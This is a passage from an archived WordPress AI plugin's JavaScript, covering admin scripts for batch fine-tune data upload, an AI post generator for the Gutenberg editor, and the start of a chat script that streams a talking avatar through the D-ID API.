button-link-delete">×</span></div></div>'; $('#aiomatic_new_data_batch_list').html(thehtml); var total = 0; var lists = []; $('.aiomatic_new_data_batch').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_batch_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_batch_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_new_data_batch_list', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } else { let data = evt.target.result.split("\r\n"); for (let i in data) { data[i] = data[i].split(","); } data.forEach(function (element){if(element[0] !== null && element[0] != '' && element[1] != '' && element[1] !== null){thehtml += '<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System">' + element[0] + '</textarea> </div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User">' + element[1] + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System"></textarea> </div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_new_data_batch_list').html(thehtml); var total = 0; var lists = []; $('.aiomatic_new_data_batch').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_batch_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_batch_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_new_data_batch_list', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } } reader.onerror = function (evt) { alert("Error reading file: " + aiomatic_file.name + ' - ' + reader.error); } } else { var reader = new FileReader(); reader.readAsText(aiomatic_file, "utf-8"); var thehtml = ''; reader.onload = function (evt) { if(aiomatic_file_extension == 'jsonl') { var explodefile = evt.target.result.split(/\r?\n/); explodefile.forEach(function (element){if(element.trim() !== ''){var oldobj = '';try{oldobj = JSON.parse(element.trim());}catch(e) {alert(e);}if(oldobj.hasOwnProperty("prompt")){if(oldobj.prompt !== null){thehtml += '<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt">' + oldobj.prompt + '</textarea><span class="button button-link-delete">×</span></div></div>';}}}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_data_list_batch').html(thehtml); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list_batch', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } else { let data = evt.target.result.split("\r\n"); for (let i in data) { data[i] = data[i].split(","); } data.forEach(function (element){if(element[0] !== null && element[0] != ''){thehtml += '<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt">' + element[0] + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_data_list_batch').html(thehtml); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list_batch', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } } reader.onerror = function (evt) { alert("Error reading file: " + aiomatic_file.name + ' - ' + reader.error); } } } } }); $(document).on('click','.aiomatic_data span', function (e){ $(e.currentTarget).parent().parent().remove(); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list_batch', jsonstr); } catch(e) { alert(e); } } else { window.localStorage.removeItem('aiomatic_data_list_batch'); } aiomaticSortData(); }); $(document).on('click','.aiomatic_new_data_batch span', function (e){ $(e.currentTarget).parent().parent().remove(); var total = 0; var lists = []; $('.aiomatic_new_data_batch').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_batch_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_batch_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_new_data_batch_list', jsonstr); } catch(e) { alert(e); } } else { window.localStorage.removeItem('aiomatic_new_data_batch_list'); } aiomaticSortData(); }); function aiomaticFileUpload(data, btn){ var aiomatic_upload_convert_index = parseInt($('#aiomatic_upload_convert_index').val()); $.ajax({ url: aiomatic_ajax_url, data: data, type: 'POST', dataType: 'JSON', success: function (res){ if(res.status === 'success'){ if(res.next === 'DONE'){ var select = jQuery('#model_selector_data_batch').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { $('#aiomatic_new_data_batch_list').html(aiomatic_new_item); } else { $('#aiomatic_data_list_batch').html(aiomatic_item); } $('.aiomatic-upload-message').html('The upload was successfully completed!'); progressBar.find('small').html('100%'); progressBar.find('span').css('width','100%'); aiomaticRmLoading(btn); setTimeout(function (){ $('#aiomatic_upload_convert_line').val('0'); $('#aiomatic_upload_convert_index').val('1'); progressBar.hide(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); },2000); } else{ $('#aiomatic_upload_convert_line').val(res.next); $('#aiomatic_upload_convert_index').val(aiomatic_upload_convert_index+1); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data, btn); } } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing upload: ' + error); } }) } function aiomaticProcessData(lists, start, file, btn){ var purpose = $('select[name=purpose]').val(); var model = $('select[name=model]').val(); var name = $('#file-name-holder').val(); var model_max_tokens = jQuery('#model_max_tokens').val(); var total = 0; var js_list = ''; if(file == '' && name != '') { file = name; } lists.forEach((item) => { total += 1; var json_arr = { custom_id: "request-" + total, method: "POST", url: "/v1/embeddings", body: { model: model, input: item.prompt } }; if (typeof model_max_tokens !== 'undefined' && model_max_tokens !== null && model_max_tokens != '') { json_arr.body.max_tokens = model_max_tokens; } try { var myJsonString = JSON.stringify(json_arr); js_list += myJsonString + '\n'; } catch(e) { alert(e); } }); if(js_list == '') { alert('Processing failed, please try again later'); return; } var data = { action: 'aiomatic_data_insert_batch', js_list: js_list, file: file, nonce: aiomatic_object.nonce }; $.ajax({ url: aiomatic_ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ var percent = '100'; progressBar.find('small').html(percent+'%'); progressBar.find('span').css('width',percent+'%'); $('#aiomatic_upload_convert input[name=model]').val(model); $('#aiomatic_upload_convert input[name=purpose]').val(purpose); $('#aiomatic_upload_convert input[name=custom]').val(name); $('#aiomatic_upload_convert input[name=file]').val(res.file); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data, btn); } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing data: ' + error); } }); } function aiomaticNewProcessData(lists, start, file, btn){ var purpose = $('select[name=purpose]').val(); var model = $('select[name=model]').val(); var name = $('#file-name-holder').val(); var model_max_tokens = jQuery('#model_max_tokens').val(); if(file == '' && name != '') { file = name; } var js_list = ''; var total = 0; lists.forEach((item) => { total += 1; var messages = [ { role: "system", content: item.system }, { role: "user", content: item.prompt } ]; var json_arr = { custom_id: "request-" + total, method: "POST", url: "/v1/chat/completions", body: { model: model, messages: messages } }; if (typeof model_max_tokens !== 'undefined' && model_max_tokens !== null && model_max_tokens != '') { json_arr.body.max_tokens = model_max_tokens; } try { var myJsonString = JSON.stringify(json_arr); js_list += myJsonString + '\n'; } catch(e) { alert(e); } }); if(js_list == '') { alert('Processing failed, please try again later'); return; } var data = { action: 'aiomatic_new_data_batch_insert', js_list: js_list, file: file, nonce: aiomatic_object.nonce }; $.ajax({ url: aiomatic_ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ var percent = 100; progressBar.find('small').html(percent+'%'); progressBar.find('span').css('width',percent+'%'); $('#aiomatic_upload_convert input[name=model]').val(model); $('#aiomatic_upload_convert input[name=purpose]').val(purpose); $('#aiomatic_upload_convert input[name=custom]').val(name); $('#aiomatic_upload_convert input[name=file]').val(res.file); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data, btn); } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing data: ' + error); } }); } form.on('submit', function (e){ e.preventDefault(); var select = jQuery('#model_selector_data_batch').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { var total = 0; var lists = []; var btn = form.find('.aiomatic_submit'); $('.aiomatic_new_data_batch').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_batch_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_batch_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt }) } }); if(total > 0){ $('#aiomatic_upload_convert_line').val('0'); $('#aiomatic_upload_convert_index').val('1'); $('.aiomatic-upload-message').empty(); progressBar.show(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); aiomaticLoading(btn); aiomaticNewProcessData(lists, 0, '', btn); } else{ alert('Please insert at least one row'); } } else { var total = 0; var lists = []; var btn = form.find('.aiomatic_submit'); $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({prompt: item_prompt}) } }); if(total > 0){ $('#aiomatic_upload_convert_line').val('0'); $('#aiomatic_upload_convert_index').val('1'); $('.aiomatic-upload-message').empty(); progressBar.show(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); aiomaticLoading(btn); aiomaticProcessData(lists, 0, '', btn); } else{ alert('Please insert at least one row'); } } return false; }); $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }); function aiomaticFileUpload(data, btn){ var aiomatic_upload_convert_index = parseInt($('#aiomatic_upload_convert_index').val()); var total_lines = parseInt($('#aiomatic_upload_convert_lines').val()); if(total_lines === 0) { total_lines = 1; } var aiomatic_upload_bar = $('.aiomatic-convert-bar'); $.ajax({ url: aiomatic_ajax_url, data: data, type: 'POST', dataType: 'JSON', success: function (res){ if(res.status === 'success'){ if(res.next === 'DONE'){ $('.aiomatic-upload-message').html('Upload was successful!'); res.next = total_lines; var percent = Math.ceil(res.next*100/total_lines); aiomatic_upload_bar.find('small').html(percent+'%'); aiomatic_upload_bar.find('span').css('width',percent+'%'); aiomaticRmLoading(btn); } else{ var percent = Math.ceil(res.next*100/total_lines); aiomatic_upload_bar.find('small').html(percent+'%'); aiomatic_upload_bar.find('span').css('width',percent+'%'); $('#aiomatic_upload_convert_line').val(res.next); $('#aiomatic_upload_convert_index').val(aiomatic_upload_convert_index+1); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data,btn); } } else{ aiomatic_upload_bar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ aiomatic_upload_bar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing file upload: ' + error); } }); } $(document).on('submit','#aiomatic_upload_convert', function (e){ $('#aiomatic_upload_convert_index').val(1); $('#aiomatic_upload_convert_line').val(0); $('.aiomatic-upload-message').empty(); var form = $(e.currentTarget); var data = form.serialize(); var btn = form.find('button'); aiomaticLoading(btn); var aiomatic_upload_bar = $('.aiomatic-upload-bar'); aiomatic_upload_bar.show(); aiomatic_upload_bar.removeClass('aiomatic_error') aiomatic_upload_bar.find('span').css('width',0); aiomatic_upload_bar.find('small').html('0%'); aiomaticFileUpload(data,btn); return false; }); $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }) var aiomaticAjaxRunning = false; aiomatic_delete_file.on('click', function (){ if(!aiomaticAjaxRunning) { var conf = confirm('Are you sure that you want to delete this file?'); if (conf) { var btn = $(this); var id = btn.attr('data-id'); $.ajax({ url: aiomatic_ajax_url, data: {action: 'aiomatic_delete_finetune_file', id: id, nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { window.location.reload(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing finetune removal: ' + error); } }); } else{ aiomaticAjaxRunning = false; } } }); var aiomaticAjaxRunning = false; $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic-overlay').hide(); }) function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(btn.find('.spinner').length === 0){ btn.append('<span class="aiomatic-spinner spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } });������������������������������������������������������������������������scripts/ai-post-creator-gutenberg.js����������������������������������������������������������������0000644�����������������00000042573�14757771437�0013623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function assistantSelected(checkID, disableClass) { if(jQuery('#' + checkID).val() == '') { jQuery('.' + disableClass).find('option').removeAttr('disabled'); } else { jQuery('.' + disableClass).find('option').attr('disabled', 'disabled'); } } jQuery(document).ready(function ($) { if( $('#aiomatic_show_more').length ) { $('#aiomatic_show_more').on('click', function(){ if(jQuery('.aiomatic_toggle_me').is(":visible")) { jQuery(".aiomatic_toggle_me").hide(); } else { jQuery(".aiomatic_toggle_me").show(); } }); } if( $('#aiomatic_ai_content_generator').length ) { var aiomatic_ai_content_generator_btn = $('#aiomatic_ai_content_generator'); } else { console.log('aiomatic_ai_content_generator button not found'); return; } if( $('#aiomatic_save_ai_content').length ) { var aiomatic_save_ai_content_btn = $('#aiomatic_save_ai_content'); } else { console.log('aiomatic_save_ai_content button not found'); return; } function aiomatic_ShowError(msg){ console.log(msg); } function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length) { btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } function aiomaticSaveProduct(post_id, aiomatic_title, aiomatic_ai_seo, aiomatic_ai_content, aiomatic_ai_excerpt, aiomatic_ai_tags) { var data = {'action': 'aiomatic_save_post_ai', 'post_id': post_id, 'aiomatic_title': aiomatic_title, 'aiomatic_ai_seo': aiomatic_ai_seo, 'aiomatic_ai_content': aiomatic_ai_content, 'aiomatic_ai_excerpt': aiomatic_ai_excerpt, 'aiomatic_ai_tags': aiomatic_ai_tags, 'nonce': aiomatic_creator_object.nonce} if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.saving_post); } $.ajax({ url: aiomatic_creator_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.success == true) { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_done); } aiomaticRmLoading(aiomatic_save_ai_content_btn); window.location.href = res.data.content; } else { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.error_occurred + "!"); } aiomatic_ShowError(aiomatic_creator_object.error_occurred + " " + JSON.stringify(res)); aiomaticRmLoading(aiomatic_save_ai_content_btn); } }, error: function () { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.error_occurred); } aiomatic_ShowError(aiomatic_creator_object.error_occurred); aiomaticRmLoading(aiomatic_save_ai_content_btn); } }); } function aiomaticProductGenerator(title, step, steps) { var aiomatic_next_step = step+1; var aiomatic_step = steps[step]; if( $('#aiomatic_ai_model').length ) { var model = $('#aiomatic_ai_model').val(); } else { var model = 'gpt-4o-mini'; } if( $('#aiomatic_ai_assistant_id').length ) { var assistant_id = $('#aiomatic_ai_assistant_id').val(); } else { var assistant_id = ''; } if( $('#aiomatic_title_prompt').length ) { var titlep = $('#aiomatic_title_prompt').val(); } else { var titlep = ''; } if( $('#aiomatic_seo_prompt').length ) { var seop = $('#aiomatic_seo_prompt').val(); } else { var seop = ''; } if( $('#aiomatic_content_prompt').length ) { var contentp = $('#aiomatic_content_prompt').val(); } else { var contentp = ''; } if( $('#aiomatic_short_prompt').length ) { var shortp = $('#aiomatic_short_prompt').val(); } else { var shortp = ''; } if( $('#aiomatic_tag_prompt').length ) { var tagp = $('#aiomatic_tag_prompt').val(); } else { var tagp = ''; } if( $('#post_type').length ) { var post_type = $('#post_type').val(); } else { var post_type = ''; } if( $('#post_ID').length ) { var post_id = $('#post_ID').val(); } else { var post_id = ''; } if( $('#aiomatic_ai_title').length ) { var prod_title = $('#aiomatic_ai_title').val(); } else { var prod_title = ''; } if( $('#aiomatic_ai_content').length ) { var prod_content = $('#aiomatic_ai_content').val(); } else { var prod_content = ''; } if( $('#aiomatic_ai_excerpt').length ) { var prod_excerpt = $('#aiomatic_ai_excerpt').val(); } else { var prod_excerpt = ''; } var data = {'action': 'aiomatic_write_aicontent_info', 'model': model, 'assistant_id': assistant_id, 'titlep': titlep, 'seop': seop, 'contentp': contentp, 'shortp': shortp, 'tagp': tagp, 'step': aiomatic_step, 'title' : title, 'post_id': post_id, 'post_type': post_type, 'prod_title': prod_title, 'prod_content': prod_content, 'prod_excerpt': prod_excerpt, 'nonce': aiomatic_creator_object.nonce} if(aiomatic_step === 'title') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_title); } } if(aiomatic_step === 'meta') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_meta); } } if(aiomatic_step === 'description') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_content); } } if(aiomatic_step === 'short') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_excerpt); } } if(aiomatic_step === 'tags') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_tags); } } $.ajax({ url: aiomatic_creator_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.success == true) { if(aiomatic_step === 'title') { if( $('#aiomatic_ai_title').length ) { $('#aiomatic_ai_title').val(res.data.content); } } if(aiomatic_step === 'meta') { if( $('#aiomatic_ai_seo').length ) { var curtag = $('#aiomatic_ai_seo').val(); if(curtag == '') { $('#aiomatic_ai_seo').val(res.data.content); } else { $('#aiomatic_ai_seo').val(curtag + " " + res.data.content); } } } if(aiomatic_step === 'description') { if( $('#aiomatic_ai_content').length ) { var curtag = $('#aiomatic_ai_content').val(); if(curtag == '') { $('#aiomatic_ai_content').val(res.data.content); } else { $('#aiomatic_ai_content').val(curtag + " " + res.data.content); } } } if(aiomatic_step === 'short') { if( $('#aiomatic_ai_excerpt').length ) { var curtag = $('#aiomatic_ai_excerpt').val(); if(curtag == '') { $('#aiomatic_ai_excerpt').val(res.data.content); } else { $('#aiomatic_ai_excerpt').val(curtag + " " + res.data.content); } } } if(aiomatic_step === 'tags') { if( $('#aiomatic_ai_tags').length ) { var curtag = $('#aiomatic_ai_tags').val(); if(curtag == '') { $('#aiomatic_ai_tags').val(res.data.content); } else { $('#aiomatic_ai_tags').val(curtag + "," + res.data.content); } } } if(aiomatic_next_step === steps.length) { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_done); } aiomaticRmLoading(aiomatic_ai_content_generator_btn); aiomaticRmLoading(aiomatic_save_ai_content_btn); if( $('#aiomatic_save_button').length ) { $('#aiomatic_save_button').show(); } } else { aiomaticProductGenerator(title, aiomatic_next_step, steps); } } else { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.error_occurred + "!"); } aiomatic_ShowError(aiomatic_creator_object.error_occurred + " " + JSON.stringify(res)); aiomaticRmLoading(aiomatic_ai_content_generator_btn); aiomaticRmLoading(aiomatic_save_ai_content_btn); } }, error: function () { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.error_occurred); } aiomatic_ShowError(aiomatic_creator_object.error_occurred); aiomaticRmLoading(aiomatic_ai_content_generator_btn); aiomaticRmLoading(aiomatic_save_ai_content_btn); } }); } aiomatic_ai_content_generator_btn.on('click', function () { if( $('#aiomatic_original_title').length ) { var aiomatic_title = $('#aiomatic_original_title').val(); } else { var aiomatic_title = ''; } if( $('#aiomatic_ai_title').length ) { var aicontent_title = $('#aiomatic_ai_title').val(); } else { var aicontent_title = ''; } if(aiomatic_title == '') { aiomatic_title = aicontent_title; } if( $('#aiomatic_generate_title').length ) { var aiomatic_generate_title = $('#aiomatic_generate_title').prop('checked') ? 1 : 0; } else { var aiomatic_generate_title = 0; } if( $('#aiomatic_generate_description').length ) { var aiomatic_generate_description = $('#aiomatic_generate_description').prop('checked') ? 1 : 0; } else { var aiomatic_generate_description = 0; } if( $('#aiomatic_generate_meta').length ) { var aiomatic_generate_meta = $('#aiomatic_generate_meta').prop('checked') ? 1 : 0; } else { var aiomatic_generate_meta = 0; } if( $('#aiomatic_generate_short').length ) { var aiomatic_generate_short = $('#aiomatic_generate_short').prop('checked') ? 1 : 0; } else { var aiomatic_generate_short = 0; } if( $('#aiomatic_generate_tags').length ) { var aiomatic_generate_tags = $('#aiomatic_generate_tags').prop('checked') ? 1 : 0; } else { var aiomatic_generate_tags = 0; } var aiomaticSteps = []; if(aiomatic_generate_title) { aiomaticSteps.push('title'); } if(aiomatic_generate_meta) { aiomaticSteps.push('meta'); } if(aiomatic_generate_description) { aiomaticSteps.push('description'); } if(aiomatic_generate_short) { aiomaticSteps.push('short'); } if(aiomatic_generate_tags) { aiomaticSteps.push('tags'); } if(aiomatic_title === '') { alert(aiomatic_creator_object.no_title) } else if(!aiomaticSteps.length) { alert(aiomatic_creator_object.no_step) } else { aiomaticLoading(aiomatic_ai_content_generator_btn); aiomaticLoading(aiomatic_save_ai_content_btn); aiomaticProductGenerator(aiomatic_title, 0, aiomaticSteps); } }); aiomatic_save_ai_content_btn.on('click', function () { if( $('#aiomatic_ai_title').length ) { var aiomatic_title = $('#aiomatic_ai_title').val(); } else { var aiomatic_title = ''; } if( $('#aiomatic_ai_seo').length ) { var aiomatic_ai_seo = $('#aiomatic_ai_seo').val(); } else { var aiomatic_ai_seo = ''; } if( $('#aiomatic_ai_content').length ) { var aiomatic_ai_content = $('#aiomatic_ai_content').val(); } else { var aiomatic_ai_content = ''; } if( $('#aiomatic_ai_excerpt').length ) { var aiomatic_ai_excerpt = $('#aiomatic_ai_excerpt').val(); } else { var aiomatic_ai_excerpt = ''; } if( $('#aiomatic_ai_tags').length ) { var aiomatic_ai_tags = $('#aiomatic_ai_tags').val(); } else { var aiomatic_ai_tags = ''; } if(aiomatic_title == '' && aiomatic_ai_seo == '' && aiomatic_ai_content == '' && aiomatic_ai_excerpt == '' && aiomatic_ai_tags == '') { alert(aiomatic_creator_object.no_change); } else { aiomaticLoading(aiomatic_save_ai_content_btn); if(aiomatic_creator_object.post_id != '' && aiomatic_creator_object.post_id !== undefined && aiomatic_creator_object.post_id !== null) { aiomaticSaveProduct(aiomatic_creator_object.post_id, aiomatic_title, aiomatic_ai_seo, aiomatic_ai_content, aiomatic_ai_excerpt, aiomatic_ai_tags); } else { alert(aiomatic_creator_object.no_post_id); } } }); });�������������������������������������������������������������������������������������������������������������������������������������scripts/openai-chat-ajax.js�������������������������������������������������������������������������0000644�����������������00001523744�14757771437�0011750 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function aiomatic_parse_html_to_gptobj(html) { if(html == '') { return []; } const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); let messages = []; const allMessages = doc.querySelectorAll('.ai-bubble'); allMessages.forEach(message => { const role = message.classList.contains('ai-other') ? 'assistant' : 'user'; messages.push({ role: role, content: message.innerHTML.trim() }); }); return messages; } function aiomaticSleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } const myStreamObject = { async startAndDisplayStream(avatarImageUrl, chatId, apiKey) { let streamingdebugging = false; function myCleverDecodeHtml(html) { var txt = document.createElement("textarea"); txt.innerHTML = html; return txt.value; } let idleVideoUrl = null; var aiomatic_chat_ajax_object = window["aiomatic_chat_ajax_object" + chatId]; const RTCPeerConnection = ( window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection ).bind(window); let peerConnection; let streamId; let sessionId; let sessionClientAnswer; let statsIntervalId; let videoIsPlaying; let lastBytesReceived; const talkVideo = document.getElementById('talk-video' + chatId); if(talkVideo === undefined || talkVideo === null) { return; } const loadingIndicator = document.getElementById('aiomatic-loading-indicator' + chatId); talkVideo.setAttribute('playsinline', ''); function whenFinishedPlaying(videoElement) { return new Promise((resolve) => { videoElement.onended = () => { resolve(); }; }); } if (peerConnection && peerConnection.connectionState === 'connected') { return; } stopAllStreams(); closePC(); const sessionResponse = await fetchWithRetries(`https://api.d-id.com/talks/streams`, { method: 'POST', headers: { Authorization: `Basic ` + apiKey, 'Content-Type': 'application/json', }, body: JSON.stringify({ source_url: avatarImageUrl, }), }); const { id: newStreamId, offer, ice_servers: iceServers, session_id: newSessionId } = await sessionResponse.json(); streamId = newStreamId; sessionId = newSessionId; try { sessionClientAnswer = await createPeerConnection(offer, iceServers); } catch (e) { console.log('Error during streaming setup', e); stopAllStreams(); closePC(); throw e; } const sdpResponse = await fetch(`https://api.d-id.com/talks/streams/${streamId}/sdp`, { method: 'POST', headers: { Authorization: `Basic ` + apiKey, 'Content-Type': 'application/json', }, body: JSON.stringify({ answer: sessionClientAnswer, session_id: sessionId, }), }); if(sdpResponse.ok !== true) { console.log('Error during stream starting', JSON.stringify(sdpResponse)); stopAllStreams(); closePC(); throw Exception('Error: ' + JSON.stringify(sdpResponse)); } this.talkToDidStream = async function(myText) { if (peerConnection?.signalingState === 'stable' || peerConnection?.iceConnectionState === 'connected') { myText = myText.replace(/^<p>|<\/p>$/g, ''); var myvoice = aiomatic_chat_ajax_object.did_voice; if(aiomatic_chat_ajax_object.overwrite_voice != '') { myvoice = aiomatic_chat_ajax_object.overwrite_voice; } let xscript = { script: { type: 'text', input: myCleverDecodeHtml(myText), }, driver_url: 'bank://lively/', config: { stitch: true, }, session_id: sessionId, }; if(myvoice != '') { let didVoiceExp = myvoice.split(':'); if(didVoiceExp[1] !== undefined) { if(didVoiceExp[0].trim() !== '') { xscript.script.provider = { type: didVoiceExp[0].trim().toLowerCase(), voice_id: didVoiceExp[1].trim() }; if(didVoiceExp[2] !== undefined) { xscript.script.provider.voice_config = { style: didVoiceExp[2].trim() }; } } } } const talkResponse = await fetchWithRetries(`https://api.d-id.com/talks/streams/${streamId}`, { method: 'POST', headers: { Authorization: `Basic ` + apiKey, 'Content-Type': 'application/json', }, body: JSON.stringify(xscript), }); } }; this.destroyConnectionStreaming = async function() { await fetch(`https://api.d-id.com/talks/streams/${streamId}`, { method: 'DELETE', headers: { Authorization: `Basic ` + apiKey, 'Content-Type': 'application/json', }, body: JSON.stringify({ session_id: sessionId }), }); stopAllStreams(); closePC(); }; function aiomaticStreamRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.aiomatic-jumping-dots').remove(); } function onIceGatheringStateChange() { if(streamingdebugging) { console.log('ICE gathering status: ' + 